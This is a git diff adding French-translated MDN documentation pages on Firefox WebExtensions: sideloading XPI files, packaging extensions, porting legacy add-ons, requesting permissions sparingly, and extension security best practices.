diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/sideloading_add-ons/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/sideloading_add-ons/index.html new file mode 100644 index 0000000000..2271640415 --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/distribution_options/sideloading_add-ons/index.html @@ -0,0 +1,134 @@ +--- +title: Sideloading add-ons +slug: >- + Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Sideloading_add-ons +tags: + - Guide + - Installation + - Sideloading + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Distribution_options/Sideloading_add-ons +--- +
{{AddonSidebar()}}
+ +

Vous souhaiterez peut-être envoyer un fichier XPI à votre utilisateur par un moyen autre qu'un téléchargement sur le Web, par exemple une distribution par e-mail d'une version bêta pour les tests utilisateur. Dans ce cas, il existe deux options pratiques pour installer le module complémentaire :

+ +
    +
  • À l'aide de l'option Installer le module à partir d'un fichier dans le gestionnaire de modules complémentaires.
    • +
  • Ajout du fichier à l'un des dossiers d'extension standard.
    • +
+ +
Aucune mise à jour automatique ne sera effectuée pour les modules complémentaires installés à l'aide de ces méthodes. Vous devrez fournir un nouveau fichier XPI à votre utilisateur pour chaque mise à jour. Cependant, des vérifications de compatibilité automatiques sont toujours effectuées.
+ +

Preparation de votre extension

+ +

Indépendamment de la méthode de chargement latéral utilisée, vous devez préparer l'extension comme suit :

+ +
    +
  1. Assurez-vous que le module complémentaire inclut un ID, en ajoutant ce qui suit à son fichier manifest.json, en remplaçant votre your-add-on-name@your-domain.com par un ID  approprié dans vote mode complémentaire : + + 
    "applications": {
+  "gecko": {
+    "id": "your-add-on-name@your-domain.com"
+  }
+}
+
    + Un identifiant de style d'adresse e-mail est recommandé.
    2. +
  2. Signez le module complémentaire dans addons.mozilla.org (AMO).  Selon la manière dont vous souhaitez rendre votre module complémentaire disponible, vous pouvez utiliser les options non répertoriées (si vous distribuez le module complémentaire uniquement) ou répertoriées. Pour plus de détails, voir Signature et distribution de votre module complémentaire.
    3. +
+ +

Utilisation de l'option Installer le module à partir d'un fichier

+ +

Pour utiliser Installer le module complémentaire à partir d'un fichier dans le gestionnaire de modules complémentaire, send the user the signed add-on with the following instructions:

+ +
    +
  1. Enregistrez le fichier complémentaire à un emplacement approprié sur votre ordinateur.
    2. +
  2. Dans Firefox, ouvrir le menu Firefox Firefox browser menu button et cliquez sur Add-ons.
    3. +
  3. Dans les paramètres de cog, ouvrez Installer le module complémentaire à partir du fichier :
    + Add-on Manager utilities cog
    4. +
  4. Recherchez et ouvrez le fichier à partir de l'emplacement où il a été enregistré.
    5. +
  5. Lorsque vous y êtes invité, cliquez sur Ajouter :
    + Message asking user to confirm the installation of the add-on
    6. +
  6. Le module complémentaire apparaîtra désormais dans la liste des modules complémentaires installés du gestionnaire de modules complémentaires et sera prêt à être utilisé :
    + After installation the add-on is listed in the add-on manager
    7. +
+ +

Installation à l'aide des dossiers d'extension standard

+ +

Cette méthode d'installation complémentaire consiste à copier le module complémentaire dans l'un des dossiers d'extension standard sur l'ordinateur de l'utilisateur. Une fois copié, la prochaine fois que Firefox sera lancé le module complémentaire sera installé. Par défaut, l'utilisateur sera invité à approuver l'installation et, si l'utilisateur l'approuve, le module complémentaire sera installé et chargé automatiquement pour les lancements ultérieurs. Si l'utilisateur possède plusieurs profils Firefox, l'approbation et l'installation auront lieu au prochain lancement de chaque profil.  Pour plus d'informations sur le contrôle de l'utilisateur à approuver l'installation, voir  Contrôle de l'installation automatique.

+ +

Renommez votre fichier XPI

+ +

Pour utiliser cette méthode, votre fichier XPI doit être nommé à l'aide de l'ID d'extension ou d'application, comme indiqué dans la section Préparation de votre module complémentaire. Le fichier complémentaire signé que vous avez téléchargé à partir d'AMO s'appellera quelque chose comme borderify-1.0-an+fx.xpi (voir Signature et distribution de votre module complémetaire pour plus de détails), modifiez-le par exemple borderify@example.com.xpi.

+ +
+

Si vous développez un module complémentaire pour Firefox vous pouvez utiliser un fichier proxy d'extensions pour installer un module complémentaire sans copier les fichiers dans les dossiers d'extension standard.

+
+ +

Ajoutez le fichier d'extension XPI dans un dossier d'extensions commun.

+ +

Dans ce qui suit {ec8030f7-c20a-464f-9b0e-13a3a9e97384} est l'identifiant de l'application de Firefox.  

+ +

L'installation standard de Firefox désactive l'installation automatique de modules complémentaires à partir de ces emplacements (voir Contrôle de l'installation automatique). Par conséquent, le processus pour chacune des méthodes décrites ci-dessous est le suivant :

+ +
    +
  • Copiez le fichier XPI renommé dans le dossier des extensions pour Windows,  OSX, ou Linux selon le cas. Notez que, selon le système d'exploitation de bureau et ses paramètres, l'utilisateur peut avoir besoin d'une autorisation d'administrateur pour effectuer cette action.
    • +
  • Fermez et redémarrez Firefox.
    • +
  • Selon le système d'exploitation et la version de Firefox, l'un des événements suivants se produira: +
      +
    • L'installation se fera en mode silencieux et l'utilisateur devra ouvrir le gestionnaire de modules complémentaires et activer le module complémentaire :
      + An add-on is installed but disabled
      + Pour activer le module complémentaire, l'utilisateur devra cliquer sur  Enable.
      • +
    • Un message interstitiel sera affiché :
      + An interstitial warning about the installation of the add-on
      + Pour installer le module complémentaire, l'utilisateur devra cocher Autoriser cette installation et cliquer sur Continuer.
      • +
    +
    • +
  • L'add-on est maintenant installé.
    • +
+ +

Pour plus de détails sur les installations interstitielles et silencieuses, voir Contrôle de l'installation automatique.

+ +
+

Pour désinstaller le module complémentaire, fermez Firefox et supprimez le module complémentaire de l'emplacement où il a été ajouté.

+
+ +

Windows

+ +

Pour installer le module complémentaire pour un utilisateur de l'ordinateur, copiez le fichier XPI dans :

+ +
C:\Users\<user name>\AppData\Roaming\mozilla\Extensions\\{ec8030f7-c20a-464f-9b0e-13a3a9e97384}\
+ +

Si ce dossier n'existe pas, créez-le. Vous pouvez également identifier le chemin de l'utilisateur actuel avec la variable %appdata% du système.

+ +
+

Remarque : Pour installer un module complémentaire pour tous les utilisateurs d'un ordinateur Windows, voir Installation à l'aide du registre Windows.

+
+ +

OSX

+ +

Pour installer un module complémentaire à utiliser par tous les profils Firefox et tous les utilisateurs, copiez le fichier XPI dans le dossier d'extension globale situé dans la bibliothèque. Si ce dossier n'existe pas, vous devrez le créer.

+ +
/Library/Application Support/mozilla/Extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
+ +

Pour installer un module complémentaire pour un utilisateur spécifique, copiez le fichier XPI dans la bibliothèque locale de l'utilisateur :

+ +
~/Library/Application Support/mozilla/Extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
+ +

Linux

+ +

Pour installer un module complémentaire utilisé par tous les utilisateurs, copiez le fichier XPI dans :

+ +
/usr/lib/mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
+ +

Ou...

+ +
/usr/lib64/mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
+ +

Ou...

+ +
/usr/share/mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
+ +

Pour installer un module complémentaire pour un utilisateur spécifique, copiez le fichier XPI dans :

+ +
~/.mozilla/extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/
diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html new file mode 100644 index 0000000000..8f50b00eaf --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html @@ -0,0 +1,58 @@ +--- +title: Publier votre extension +slug: Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension +tags: + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_ +--- +
{{AddonSidebar}}
+ +
+
+

Les extensions packagées dans Firefox sont appelées "fichiers XPI", qui sont des fichiers ZIP avec une extension différente.

+ +

Vous n'avez pas besoin d'utiliser l'extension XPI lors du téléchargement vers AMO.

+
+
+ +

Pendant le développement, votre extension sera constituée d'un répertoire contenant un fichier manifest.json et les autres fichiers dont elle a besoin : scripts, icônes, documents HTML, etc. Vous devez les zipper dans un seul fichier pour les télécharger vers AMO.

+ +

La façon la plus pratique de compiler votre extension est d'utiliser la  build web-ext. Cet outil exclut automatiquement les fichiers qui sont généralement indésirables dans les paquets, comme les fichiers .git . Sinon, suivez les instructions ci-dessous pour le système d'exploitation.

+ +
+

Astuce. Le fichier ZIP doit être un fichier ZIP des fichiers de l'extension elle-même, et non du répertoire qui les contient.

+
+ +

Windows

+ +
    +
  1. Ouvrez le répertoire contenant les fichiers de votre extension.
    2. +
  2. Sélectionnez tous les fichiers et répertoires nécessaires pour implémenter votre extension, excluez les fichiers qui ne sont pas nécessaires pour exécuter l'extension, tels que .git, les sources graphiques et les fichiers similaires.
    3. +
  3. Ouvrez le menu contextuel et cliquez sur Envoyer dans le dossier compressé (zipped).
    4. +
+ +

Illustration of how to use the send to compress folder feature in File Explorer to create a web extension package.

+ +

macOS

+ +
    +
  1. Ouvrez le répertoire contenant les fichiers de votre extension.
    2. +
  2. Sélectionnez tous les fichiers et répertoires nécessaires pour implémenter votre extension, excluez les fichiers qui ne sont pas nécessaires pour exécuter l'extension, tels que .git, les sources graphiques et les fichiers similaires.
    3. +
  3. Ouvrez le menu contextuel et cliquez Compress n éléments.
    4. +
+ +

Illustration of how to use the compress feature in Finder to create a web extinction package.

+ +
+
Voir http://www.info-zip.org/mans/zip.html.
+
+ +

Linux / macOS Terminal

+ +
    +
  1. Ouvrir un Terminal.
    2. +
  2. Ouvrez le répertoire contenant les fichiers de votre extension, en utilisant la commande
    + cd path/to/my-extension/
    3. +
  3. ZIPez le contenu du répertoire en vous souvenant d'exclure les fichiers qui ne sont pas nécessaires à l'exécution de l'extension, tels que .git, les sources graphiques, et les fichiers similaires - en utilisant la commande
    + zip -r -FS ../my-extension.zip * --exclude *.git*
    4. +
diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html new file mode 100644 index 0000000000..5227fba14b --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html @@ -0,0 +1,85 @@ +--- +title: Portage d'une extension Firefox héritée +slug: Mozilla/Add-ons/WebExtensions/Portage_d_une_extension_Firefox_heritee +tags: + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on +--- +
{{AddonSidebar}}
+ +

Si vous avez développé une extension Firefox en utilisant une technologie héritée en utilisant XUL/XPCOM ou le kit d'extensions, cette page vous aidera à migrer votre extension pour utiliser les API WebExtensions. La norme pour créer des extensions pour Firefox consiste à utiliser les API WebExtensions. Ce sera le seul type d'extension pris en charge par Firefox d'ici la fin du mois de novembre 2017 avec la sortie de Firefox 57.

+ +
+

La prise en charge des extensions utilisant XUL/XPCOM ou le SDK Add-on a été supprimée dans Firefox 57, publié en novembre 2017. Comme il n'y a pas de version supportée de Firefox permettant ces technologies, cette page sera supprimée d'ici décembre 2020.

+
+ +

Démarrage rapide

+ +
    +
  1. Obtenez une idée des principales choses que vous devrez modifier dans votre extension : + +
    2. +
  2. Réécrivez le code de votre extension. Voir ci-dessous les chemins de migration pour différents types d'extensions. A partir de Firefox 51, vous pouvez intégrer une extension construite à l'aide d'API WebExtension dans une extension bootstrap ou une extension SDK, et peut donc porter une extension héritée une pièce à la fois et avoir une extension fonctionnelle à chaque étape. Consultez  Embedded WebExtensions.
    3. +
  3. Lorsque vous êtes prêt à soumettre la version WebExtension de votre extension à AMO... attendez une minute... êtes-vous vraiment prêt ? En raison du modèle de permissions d'extensions, vous ne pouvez pas revenir de WebExtensions à l'utilisation d'un format d'extension hérité. Donc tester bien, car il s'agit d'un aller simple permanent. Consultez également l'exemple hybride ci-dessous. Si vous n'êtes pas prêt, vous pouvez intégrer votre WebExtension dans un conteneur d'extension existant, ce qui vous permet de tester votre migration d'extension mais encore de revenir si nécessaire en cas d'urgence.
    4. +
  4. Lorsque vous êtes vraiment prêt à soumettre la version WebExtension de votre extension à AMO, connectez d'abord votre ancienne ID d'extension au nouveau fichier manifest.json de WebExtension. Votre extension doit avoir le même ID que les versions précédentes. Copiez la valeur dans le champ "id" de votre fichier package.json dans le champ id dans la section des applications du fichier manifest.json WebExtension. Ensuite, vous pouvez soumettre votre mise à jour de l'extension à AMO comme vous le feriez normalement.
    5. +
+ +
+

Notez qu'il s'agit d'une conversion unidirectionnelle: vous ne pouvez pas mettre à jour une WebExtension pour utiliser une technologie héritée. Cela signifie que vous devez être sûr que vous êtes prêt à vous engager aux WebExtensions avant de soumettre la mise à jour de l'extension à AMO.

+
+ +

Chemin de migration

+ +


+ SDK Extensions

+ +

Voici le tableau de comparaison montrant les APIs SDK et leurs homologues de format WebExtensions. Si vous ne voyez pas les API dont vous avez besoin pour utiliser les APIs  WebExtensions,  consultez ci-dessous pour savoir comment demander des API et aussi comment les implémenter.

+ +

XUL/XPCOM Extensions

+ +

Voici le tableau de comparaison montrant les APIs XUL/XPCOM et leurs homologues de format WebExtensions. Si vous ne voyez pas les API dont vous avez besoin pour utiliser les APIs  WebExtension, consultez ci-dessous pour savoir comment demander des API et aussi comment les implémenter.

+ +

Vous ne trouvez pas les APIs WebExtensions dont vous avez besoin ?

+ +

Développez les APIs WebExtension pour Firefox - Si vous êtes expérimenté avec l'infrastructure Mozilla et souhaitez développer des API WebExtensions directement pour Firefox, voici une liste d' APIs approuvées que vous pouvez commencer à contribuer.

+ +

Expérimentez avec les nouvelles APIs WebExtension - Si vous souhaitez créer un prototype et un bricolage avec les API WebExtensions sans avoir à créer Firefox, les Expériences WebExtensions sont pour vous !

+ +

Demandez une nouvelle API WebExtensions - Si vous souhaitez demander une nouvelle API WebExtensions, lisez cette page.

+ +

Outils

+ +
    +
  • web-ext st un outil de ligne de commande conçu pour accélérer diverses parties du processus de développement d'extension, rendant le développement plus rapide et plus facile.
    • +
  • Lookup tool pour vérifier votre type d'extension et obtenir des recommandations sur les ressources de portage
    • +
  • WebExtensions Helper accélère le développement de l'extension du navigateur en fournissant des utilitaires pour les extensions basées sur WebExtensions (Firefox, Chrome, Opera and Edge)
    • +
  • Chrome Extension generator crée tout ce dont vous avez besoin pour commencer avec le développement de l'extension. Vous pouvez choisir l'interface utilisateur du navigateur (Browser,Page Action, Omnibox) et sélectionner les permissions dont vous avez besoin.
    • +
  • Extensionizr est un assistant qui vous aide à créer une extension simple
    • +
  • Chrome Boilerplate est un code de référence pour Chrome WebExtension.
    • +
  • Skeleton Chrome Extension est une extension bootstrap et un modèle
    • +
+ +

Documentation

+ + + +

Contact

+ +
    +
  • +

    Vous pouvez utiliser les liens ici pour obtenir de l'aide, vous tenir à jour avec les nouvelles des add-ons, et nous donner des commentaires.

    +
    • +
diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/request_the_right_permissions/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/request_the_right_permissions/index.html new file mode 100644 index 0000000000..e0c9a4ef04 --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/request_the_right_permissions/index.html @@ -0,0 +1,367 @@ +--- +title: Demander les bonnes permissions +slug: Mozilla/Add-ons/WebExtensions/demander_les_bonnes_permissions +tags: + - Add-ons + - Comment + - Débutant + - Extensions + - Hox-to + - Intermédiaire + - Permissions + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Request_the_right_permissions +--- +

{{AddonSidebar}}

+ +

Ou comment éviter les permissions décourageant les utilisateurs d'installer vos extensions.

+ +

Introduction

+ +

Avec l'introduction de Firefox Quantum (57), la gestion des permissions lors de l'installation d'une extension a changé. Auparavant, les permissions étaient accordées silencieusement aux extensions. Cependant, les utilisateurs sont maintenant informés des permissions demandées par une extension lors de son installation, avec un message comme celui-ci:

+ +

Example of the permissions messages from the Gesturefy extension

+ +

En outre, si une mise à jour d'extension nécessite des permissions supplémentaires, l'utilisateur est invité à approuver les permissions avant l'installation de la version mise à jour :

+ +

Example of the message displayed when an extension update requests additional permissions

+ +

Si l'utilisateur choisit de ne pas approuver les permissions et annule la mise à jour, la version précédente reste installée et disponible.

+ +

L'affichage des messages de permission améliore le modèle de sécurité de l'extension en sensibilisant les utilisateurs à l'impact potentiel de l'installation d'une extension. Il met également Firefox en ligne avec les autres principaux navigateurs, où les utilisateurs ont été informés des demandes de permission des extensions pour un certain temps.

+ +

Étant donné que les utilisateurs de Firefox n'ont pas vu les demandes de permissions au cours de l'installation auparavant, cette modification pourrait décourager certains d'entre eux d'installer votre extension, car les messages pourraient suggérer qu'elle fait quelque chose d'effrayant. Nous fournissons aux utilisateurs avec une explication de ces messages de permissions et des conseils sur comment juger s'ils sont appropriés. Cependant, il y a plusieurs choses que vous pouvez faire pour réduire la probabilité que les utilisateurs abandonnent l'installation de votre extension à cause de ces messages :

+ +
    +
  • Assurez-vous que vous ne demandez pas de permissions inutiles.
    • +
  • Demander des permissions à l'exécution, ce qui vous permet de demander les permissionss en contexte et de proposer une option de repli si l'utilisateur ne les accorde pas.
    • +
  • Décrivez pourquoi votre extension demande ses permissions dans sa description AMO.
    • +
+ +

Conseil: Les avertissements d'autorisation ne sont pas émis lorsque vous chargez une extension décompressée. Pour plus d'informations sur l'affichage du flux d'autorisations d'exécution standard, voir Test de demandes de permission.

+ +

Permissions conseillées

+ +

Toutes les permissions ne donnent pas de conseils à l'utilisateur. Les permissions qui déclenchent l'affichage d'un message et les messages qu'ils déclenchent sont :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PermissionPermissions messages
+

Host permissions

+ 		+

Accédez à vos données pour tous les sites Web
+ Accédez à vos données pour les sites du domaine[named].
+ Accédez à vos données dans # d'autres domaines
+ Accédez à vos données pour[site nommé].
+ Accédez à vos données sur # autres sites".

+
API permissions:
+
    +
  • bookmarks
    • +
+ 		Lire et modifier les marques pages
+
    +
  • browserSettings
    • +
+ 		Lire et modifier les paramètres du navigateur
+
    +
  • browsingData
    • +
+ 		Effacer l'historique de navigation récent, les cookies et les données associées.
+
    +
  • downloads
    • +
+ 		Télécharger des fichiers et lire et modifier l'historique des téléchargements du navigateur.
+
    +
  • downloads.open
    • +
+ 		Ouvrir les fichiers téléchargés sur votre ordinateur
+
    +
  • find
    • +
+ 		Lire le texte de tous les onglets ouverts
+
    +
  • geolocation
    • +
+ 		Accédez à votre localisation
+
    +
  • history
    • +
+ 		Historique de navigation
+
    +
  • management
    • +
+ 		Surveiller l'utilisation des extensions et gérer les thèmes
+
    +
  • nativeMessaging
    • +
+ 		Échanger des messages avec des programmes autres que Firefox
+
    +
  • notifications
    • +
+ 		Afficher les notifications qui vous sont destinées
+
    +
  • pkcs11
    • +
+ 		Fournir des services d'authentification cryptographique
+
    +
  • privacy
    • +
+ 		Lire et modifier les paramètres de confidentialité
+
    +
  • proxy
    • +
+ 		Contrôler les paramètres de proxy du navigateur
+
    +
  • sessions
    • +
+ 		Accéder aux onglets récemment fermés
+
    +
  • tabs
    • +
+ 		Onglets du navigateur d'accès
+
    +
  • topSites
    • +
+ 		Historique de navigation
+
    +
  • webNavigation
    • +
+ 		Accéder à l'activité du navigateur pendant la navigation
Clipboard access
+
    +
  • clipboardWrite
    • +
+ 		Saisie des données dans le presse-papiers
+
    +
  • clipboardRead
    • +
+ 		Obtenir les données du presse-papiers
unlimitedStorageStocker un nombre illimité de données côté client
The manifest key "devtools_page"Étendre les outils de développement pour accéder à vos données dans des onglets ouverts.
+ +
+ + +

Les permissions qui affichent les messages et les messages qu'ils affichent peuvent être différentes dans d'autres navigateurs. Pour plus d'informations sur l'affichage du message d'autorisation dans Chrome, voir Affichage des avertissements.

+ + +
+ +

Les permissions suivantes ne sont pas alertées aux utilisateurs :

+ +
    +
  • API permissions +
      +
    • alarms
      • +
    • contextMenus
      • +
    • contextualIdentities
      • +
    • cookies
      • +
    • identity
      • +
    • idle
      • +
    • menus
      • +
    • storage
      • +
    • theme
      • +
    • webRequest
      • +
    • webRequestBlocking
      • +
    +
    • +
  • activeTab
    • +
+ +

Évitez les permissions inutiles

+ +

Cette section examine les situations dans lesquelles vous pourriez demander plus de permissions que vos besoins d'extension et ce que vous devez faire à leur sujet.

+ +

Ne demandez que les permissions que votre extension utilise

+ +

Cela peut sembler évident, mais si vous créez une extension en utilisant un exemple précédent en tant que modèle ou si vous supprimez une fonctionnalité au cours du développement ou du test, vous demandez peut-être des permissions dont votre extension n'a pas besoin. En adressant ceci est un cas de faire une vérification manuelle de votre code contre les permissions ("permissions" et "optional_permissions") que vous demandez dans le manifest.json de l'extension.

+ +

Utilisez "activeTab" plutôt que "tabs" et permissions d'hôte

+ +

Prenez une extension que vous développez pour aider les utilisateurs mal-voyants. À la demande de l'utilisateur, vous allez rechercher et mettre à jour CSS dans une page Web pour remplacer les couleurs que l'utilisateur peut avoir du mal à distinguer avec des couleurs sûres. Vous avez évidemment besoin d'accéder et de mettre à jour CSS sur chaque page que votre utilisateur visite. Vous pouvez le faire en demandant la permission "tabs" et la permission d'hôte "<all_urls>".

+ +
"permissions": [
+  "<all_urls>",
+  "tabs"
+]
+ +

Demander ces permissions, permet à l'utilisateur d'obtenir ce conseil :

+ +

Example of the "Access your data for all websites" permission message

+ +

L'alternative est de demander "activeTab". Cette permission fournit à votre extension les mêmes fonctionnalités mais uniquement pour l'onglet actif et uniquement lorsqu'elle est exécutée à partir de l'interface utilisateur de l'extension (depuis un bouton de barre d'outils, un bouton de barre de navigation, un menu contextuel ou une touche de raccourci).

+ +

Fait important, "activeTab" n'entraîne pas l'affichage d'un message de permission lors de l'installation de l'extension.

+ +

Evitez la permission d'hôte "<all_urls>" si vous pouvez

+ +

Comme indiqué dans l'exemple précédent, demander la permission d'hôte "<all_urls>" entraîne le message de demande d'accès Access à vos données pour tous les sites Webs. Si votre extension est conçue pour fonctionner avec un ou plusieurs sites Web ou domaines, affinez la requête. Lors de l'installation, les utilisateurs recevront des informations sur les quatre premiers sites Web ou les domaines auxquels vous demandez l'accès.

+ +

Example of the permissions message when host permission for four websites as requested

+ +

Si vous demandez l'accès à plus de quatre sites Web ou domaines, le message liste les trois premiers et indique le nombre d'autres demandes.

+ +

Example of the permissions message when hosts permission for 5 or more website is requested

+ +

Evitez la permission "unlimitedStorage"

+ +

Ne demandez la permission "unlimitedStorage" que si vous estimez que le stockage de données local de votre extension dépasse 5MB s'il ne dépasse pas ce montant, ne le demandez pas.

+ +

Example of the permission message when requesting access to unlimited client-side data storage

+ +

Remarque: Firefox ne limite pas actuellement la taille du stockage local, bien qu'il demande aux utilisateurs d'approuver cette demande de permission si vous le faites. Firefox peut ajouter une restriction à l'avenir. Si cela se produit, il est peu probable que la limite soit inférieure à la restriction actuelle de 5 Mo de Chrome.

+ +

Demander les permissions à éxécuter

+ +

Les utilisateurs peuvent ne pas comprendre le contexte des permissions demandées lors de l'installation. L'approche alternative consiste à demander les permissions au besoin, à l'aide de l'API permissions, et à fournir ainsi un contexte à l'utilisateur.

+ +

Un scénario typique pour utiliser cette approche est la permission "geoLocation". Supposons que vous avez écrit une extension de prise de notes qui inclut la possibilité d'ajouter une mini-carte de l'emplacement des preneurs de notes. Demander l'accès à l'emplacement pendant l'installation peut laisser l'utilisateur incertain de la raison pour laquelle l'extension doit accéder à l'emplacement, de sorte qu'ils ne l'installeront peut-être pas. Toutefois, si la permission d'utiliser l'emplacement est demandée lorsque l'utilisateur tente d'abord d'ajouter une minicarte, il comprend mieux pourquoi la permission est nécessaire et a plus de chances de l'accorder. Et s'ils choisissent de ne pas accorder la permission, l'extension peut offrir un retour en arrière gracieux — dans cet exemple, sans ajouter la minicarte — mais le résultat important de cette approche est que l'utilisateur a installé et utilisé votre extension.

+ +

Example of an additional or runtime permission request message

+ +

Faire une demande de permission d'exécution est simple. Incluez les permissions que vous souhaitez demander sous la clé manifest.json "optional_permissions". Passez ensuite les autorisations que vous souhaitez accorder à {{WebExtAPIRef("permissions.request")}}, qui invite l'utilisateur à accorder les permissions. true est renvoyé si l'utilisateur accorde la requête, false si ce n'est pas le cas.

+ +

Vous ne pouvez pas demander toutes les permissions disponibles aux "permissions" en utilisant des permissions facultatives. Vous ne pouvez pas demander les permissions d'API suivantes:

+ +
    +
  • alarms
    • +
  • background
    • +
  • browsingData
    • +
  • contentSettings
    • +
  • contextualIdentities
    • +
  • debugger
    • +
  • downloads
    • +
  • downloads.open
    • +
  • find
    • +
  • identity
    • +
  • menus
    • +
  • nativeMessaging
    • +
  • pageCapture
    • +
  • pkcs11
    • +
  • privacy
    • +
  • proxy
    • +
  • sessions
    • +
  • storage
    • +
  • theme
    • +
+ +

Il y a un certain nombre de choses à noter :

+ +
    +
  • Vous pouvez uniquement demander des permissions dans le gestionnaire pour une action utilisateur, par exemple à partir d'un bouton de barre d'outils (action du navigateur), d'un élément de menu contextuel ou similaire.
    • +
  • Si vous demandez plusieurs permissions à la fois, elles sont toutes accordées ou toutes refusées, l'utilisateur ne peut pas choisir d'en accorder certaines et pas d'autres
    • +
+ +

Pour plus d'informations sur les permissions facultatives, consultez optional_permissions et l'exemple permissions.

+ +

Ajouter des informations sur les permissions à vos extensions page AMO

+ +

Les messages de permissions sont plus susceptibles d'empêcher un utilisateur d'installer votre extension, car ils ne comprennent pas pourquoi les permissions sont demandées. Bien que l'utilisateur puisse obtenir des conseils généraux sur l'impact d'une permission, il peut ne pas être suffisant pour lui de comprendre pourquoi une permission est demandée dans votre extension.

+ +

Pour résoudre ce problème, fournissez des informations dans la description AMO de votre extension qui explique les permissions demandées par votre extension et pourquoi.

+ +

Un bon exemple de cette approche est Gesturefy, qui offre aux utilisateurs les conseils suivants :

+ +

Extract from Gesturefy's AMO description providing information on thepermissions requested by this extension

diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/security_best_practices/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/security_best_practices/index.html new file mode 100644 index 0000000000..05a6a7a699 --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/security_best_practices/index.html @@ -0,0 +1,63 @@ +--- +title: Bonnes pratiques de sécurité +slug: Mozilla/Add-ons/WebExtensions/securite_bonne_pratique +tags: + - Débutant + - Extensions + - Intermédiaire + - Sécurité + - WebExtensions + - revue +translation_of: Mozilla/Add-ons/WebExtensions/Security_best_practices +--- +
{{AddonSidebar}}
+ +

Voici une liste des meilleures pratiques à suivre pour protéger les utilisateurs de votre extension. Si vous ne suivez pas ces bonnes pratiques, votre extension risque d'échouer les avis sur addons.mozilla.org, Si vous ne suivez pas ces bonnes pratiques, votre extension risque d'échouer les avis survous empêchant ainsi de distribuer votre module ou de le bloquer à l'installation dans Firefox.

+ +
    +
  • Ne pas injecter ou incorporer des scripts distants
    + Si vous identifiez un service que vous souhaitez utiliser dans votre extension, n'injectez pas le script du service à partir d'une source distante. Une telle approche est risquée, car le code pourrait être modifié sans que vous le sachiez — et, surtout, sans la connaissance et le consentement de l'utilisateur des extensions — compromettant la sécurité de votre extension. Vous devriez donc ajouter une copie du script dans le code de votre extension.
    • +
  • Assurez-vous d'insérer le contenu distant en toute sécurité
    + Assurez-vous de suivre les bonnes pratiques lorsque votre extension utilise du contenu distant : +
      +
    • insérez des chaînes à l'aide de méthodes de manipulation DOM natives sécurisées : document.createElement, Element.setAtttribute, et Node.textContent.
      • +
    • utilisez les fonctions attr() et text() pour insérer des chaînes.
      • +
    • assainir le contenu HTML avec DOMPurify.
      • +
    • utiliser des commandes de moteur de modèle qui échappent à tout code HTML avant de l'insérer.
      • +
    + +

    Pour plus d'informations, voir Insérer du contenu externe en toute sécurité dans une page.

    +
    • +
  • Utiliser XHR pour Google Analytics
    + Si vous souhaitez ajouter Google Analytics à votre extension, n'insérez pas le code JavaScript Google Analytics. Il est plutôt recommandé d'utiliser l'API REST Google Analytics dans un appel XHR, par exemple: + 
    let request = new XMLHttpRequest();
+let message =
+  "v=1&tid=" + GA_TRACKING_ID + "&cid= " + GA_CLIENT_ID + "&aip=1" +
+  "&ds=add-on&t=event&ec=AAA&ea=" + aType;
+
+request.open("POST", "https://www.google-analytics.com/collect", true);
+request.send(message);
    + Vous pouvez trouver plus d'informations dans l'article de blog Utilisation de Google Analytics dans les Extensions.
    • +
  • Utiliser la stratégie de sécurité du contenu de l'extension standard (CSP)
    + La stratégie standard limite les sources à partir desquelles votre extension peut charger les ressources <script> et <object>, et interdit les pratiques potentiellement dangereuses, telles que l'utilisation de eval(). Bien que la clé manifest.json content_security_policy vous permette de modifier la stratégie de sécurité du contenu de votre extension, cette opération n'est pas recommandée car elle empêche les extensions d'exécuter involontairement du contenu malveillant. Si votre CSP modifié autorise l'injection de script à distance, votre extension sera rejetée par AMO pendant la révision.
    + Pour plus d'informations, voir Stratégie de sécurité du contenu par défaut.
    • +
  • Partagez des objets avec JavaScript sur la page avec soin
    + Firefox fournit wrappedJSObject afin qu'un script de contenu puisse accéder aux objets JavaScript créés par les scripts de page. Le danger ici est qu'une page Web malveillante puisse, par exemple, modifier les fonctions des objets JavaScript pour exécuter son propre code.
    + Pour plus d'informations, voir Accès aux objets de script de page à partir de scripts de contenu.
    • +
  • Utilisez window.eval() dans les scripts de contenu avec prudence
    + Vous devez être très prudent lorsque vous exécutez du code dans le contexte d'une page. Une page Web malveillante pourrait tenter d'exécuter du code en exploitant l'utilisation de window.eval(). Il peut le faire, par exemple, en redéfinissant les objets que votre code pourrait vouloir évaluer.
    + Pour plus d'informations, voir Ne pas utiliser eval inutilement !
    • +
